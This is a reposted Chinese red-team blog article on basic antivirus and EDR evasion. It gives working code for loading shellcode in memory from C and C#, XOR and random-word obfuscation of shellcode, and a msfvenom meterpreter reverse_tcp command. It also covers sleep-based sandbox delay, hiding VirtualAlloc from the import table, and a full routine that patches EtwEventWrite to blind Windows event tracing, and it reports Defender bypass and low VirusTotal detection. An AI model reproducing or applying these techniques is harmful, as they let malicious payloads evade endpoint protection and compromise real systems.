我是靠谱客的博主 眯眯眼冰淇淋,最近开发中收集的这篇文章主要介绍红队开发基础-基础免杀,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

声明

出品|先知社区(ID: 7bits安全团队)

以下内容,来自先知社区的7bits安全团队原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

引言

最近在某某糖上看到有人翻译

A blueprint for evading industry leading- endpoint protection In 2022

翻译原文链接:

http://tttang.com/archive/1573/

原文只简单讲了一下大致的思路,具体的复现并没有。本文就是对文章提到技术点进行简单复现。

shellcode加密

主要参考 ShellcodeWrapper的代码

内存执行shellcode

函数指针的概念

定义:

函数返回值类型 (* 指针变量名) (函数参数列表);

如:int(*p)(int, int);

如何使用:

#include <iostream>
#include <windows.h>
void print() {
std::cout << "123";
}
int main(){
void(*p)();
p = print;
p();}

通过函数指针的方式可以调用当前程序地址空间里的函数,前提是需要知道虚拟内存种机器码的地址。一般和VirtualAlloc相结合

unsigned char shellcode[] = "x00";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();

虚拟内存

我们通过VirtualAlloc函数分配了一块虚拟内存,返回了一个指针变量exec,指向这块虚拟内存的首地址。 之后将数组拷贝到这块内存中,在visual studio里选择debug->window->memeory 可以查看当当前程序的内存情况,将调试器里exec的地址填入:

图片

通过调试的插件我们可以看到此时shellcode已经被写入了内存,之后通过函数指针将void*强制转换成函数指针并进行调用。使用不经过混淆的的c shellcode,编译windows definder都会报毒,直接无法编译:

图片

关闭definder,可以进行成功上线。

图片

使用工具进行xor混淆,生成shellcode装载代码:

图片

这种对shellcode的加密实际就是对字符串进行加密,主要是静态的混淆,这里刚开始没注意看官方的readme,官方的例子使用msf:

root@kali:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw

图片

重新生成raw格式代码,编译结果definder依旧报毒,注释了函数指针执行部分依旧。

图片

说明不是函数指针执行部分代码报毒,单凭shellcode这种程度的混淆还是远远不够的不够的。

降低熵值

编译阶段

在visual studio中,程序编译阶段选择resource file - > add -> resource - > icon,增加图标。

图片

修改二进制文件特征

对于没有源码的程序,也可以通过工具resourcehacker修改图标,达到修改其特征值的效果:

图片

字符串变形

文章中提到了想法:

一个更优雅的解决方案是设计并实现一种算法,将经过混淆处理(编码/加密)的shellcode变成英文单词(低熵)。这种方法简直就是一箭双雕。

其实也是类似shellcode混淆的技术,因为笔者的c很一般,c执行的时候需要存储字节和单词的映射关系,在c语言中没有string类型和dict等数据结构,也不熟悉STL,写起来很僵硬,这里使用c#执行shellcode。

意外发现简单混淆shellcode+csc编译就已经能够过windows definder了。

直接使用vs编译还是会报毒:

图片

c#执行shellcode的方式略有区别,这里没有使用函数指针,而是使用了windows api createThread:

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

顾名思义,在当前进程创建一个线程。主要是第三个参数提供一个指针。和VirtualAlloc+ Marshal.Copy结合使用。使用csc编译就可以bypass windows definder

图片

使用py对字节进行随机单词替换:

from random_words import RandomWords
hex_temp=[0x9d]
hex_single = list(set(hex_temp))
words=[]
words_list=[]
payload="string p =""
# generate dict list  ---  for singel
rw = RandomWords()
for h in hex_single:
    success_add=False
    while not success_add:
        word = rw.random_word()
        if word not in words:
            words.append(word)
            words_list.append({h:word})
            success_add=True
# convert shellcode to string

for h in hex_temp:
    for d in words_list:
        for k in d:
            if h == k:
                payload=payload+d[k]+" "
print(payload.rstrip(" ")+"";")


# generate c#  table to compare

ret_string="string s =""
ret_h="char[] raw = {"

for d in words_list:
    for k in d:
        ret_string=ret_string+d[k]+" "
        ret_h=ret_h+"(char)%d,"%(int(k))
ret_h=ret_h.rstrip(",");
ret_string=ret_string.rstrip(" ");
ret_h=ret_h+"};";
ret_string=ret_string+"";"
print(ret_string)
print(ret_h)

使用C#进行解密:
图片依旧报毒
图片但注释掉CreateThread部分就可以通过,shellcode的免杀没有大问题。这里换一种shellcode加载方式,魔改SharpInjector的EtwpCreateEtwThread加载:
图片可以成功上线:
图片

沙箱绕过

原文中提到可以延时shellcode的执行,原文作者采用的做法是取一个大素数并作为密钥的使用。笔者这里直接暴力使用sleep实现延时:

Thread.Sleep(1000*30);

图片

导入表混淆

本来想对c#的程序进行混淆,发现c#编译出来的程序识别不出导入表:
图片c和c++的却可以:
图片推测c#和java类似有jvm虚拟机这种技术存在,不是标准的exe。所以还是对开始的c程序做导入表混淆。

不做任何混淆时的导入表,显然有VirtualAlloc这样的敏感函数,通过函数指针的方式隐藏。前面介绍过函数指针,需要在内存中找到对应函数,在内存中找对应函数地址的API是GetProcAddress:

FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);

第一参数为dll模块句柄,通过GetModuleHandle函数获取:

GetModuleHandle((LPCSTR)sKernel32)

第二个参数为函数名,这里指定为VirtualAlloc。

typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T  dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc fnVirtualProtect;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);
void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

这里使用了函数指针的另一种定义方式:

typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T  dwSize, DWORD  flAllocationType, DWORD flProtect);

编译执行,可以看到导入表中已经看不到VirtualAlloc函数了

图片

禁用Windows事件跟踪 (ETW)

ETW指Windows事件追踪,是很多安全产品使用的windows功能。其部分功能位于ntdll.dll中,我们可以修改内存中的etw相关函数达到禁止日志输出的效果,最常见的方法是修改EtwEventWrite函数,详情可以参考:ETW的攻与防 & Detecting process injection with ETW

主要用到几个api:

NtProtectVirtualMemory,NT开头的函数是内核函数,用户态函数为

VirtualProtect :

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

该函数在调用进程的虚拟地址空间中更改对已提交页面区域的保护,第三个参数比较关键,参考memory-protection-constants。

第四个参数返回内存原始属性的保存地址,修改完毕后要恢复。

对于这种未公开的api内核函数调用,需要手动去获取其地址,首先定义函数指针:

typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T  NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;

进行调用:

FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll),"NtProtectVirtualMemory");
  oNtVirtual = (tNtVirtual)farProc;
  oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_NOACCESS, &oldprotect);

FlushInstructionCache

该函数主要是对内存修改后刷新缓存

BOOL FlushInstructionCache(
  [in] HANDLE  hProcess,
  [in] LPCVOID lpBaseAddress,
  [in] SIZE_T  dwSize
);

参数一目了然,没什么好解释的。

我们首先找到EtwEventWrite函数在虚拟内内存中的地址:

HANDLE hCurrentProc = GetCurrentProcess();

    unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };

    void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);

将内存属性改成PAGE_READWRITE,这里size是我们需要修改内存的大小。

NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);

修改内存:

memcpy(pEventWrite, patch, size / sizeof(patch[0]));

恢复内存属性:

NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);

完整的实现:

typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T  NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;


void disableETW(void) {
    // return 0
    unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 };     // xor rax, rax; ret

    ULONG oldprotect = 0;
    size_t size = sizeof(patch);

    HANDLE hCurrentProc = GetCurrentProcess();
    unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
    unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};
    void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);
    FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");
    oNtVirtual = (tNtVirtual)farProc;
    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
    memcpy(pEventWrite, patch, size / sizeof(patch[0]));
    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
    FlushInstructionCache(hCurrentProc, pEventWrite, size);
}

查看内存

图片

修改成功

图片

总结

本文总结了5种常见的免杀技术,主要是静态的免杀。

其中c#搭配静态字符串加密,异或加密,沙箱绕过,EtwpCreateEtwThread上线的技术,vt检测结果为13/68

图片

因为还是基于开源的恶意工具改的,其中依旧有一些其他的静态特征影响,单独出来实现效果应该会更好一些。

c++的程序使用disableETW,shellcode加密,隐藏导入表的免杀方式,vt检测结果为4/68,比想象的好很多。

图片

c++的程序更换shellcode的加密方式过definder应该没有问题。静态的免杀还是比较容易的。

源码

本文实现的例子相关代码均进行了开源:EDR-Bypass-dem

最后

以上就是眯眯眼冰淇淋为你收集整理的红队开发基础-基础免杀的全部内容,希望文章能够帮你解决红队开发基础-基础免杀所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(54)

评论列表共有 0 条评论

立即
投稿
返回
顶部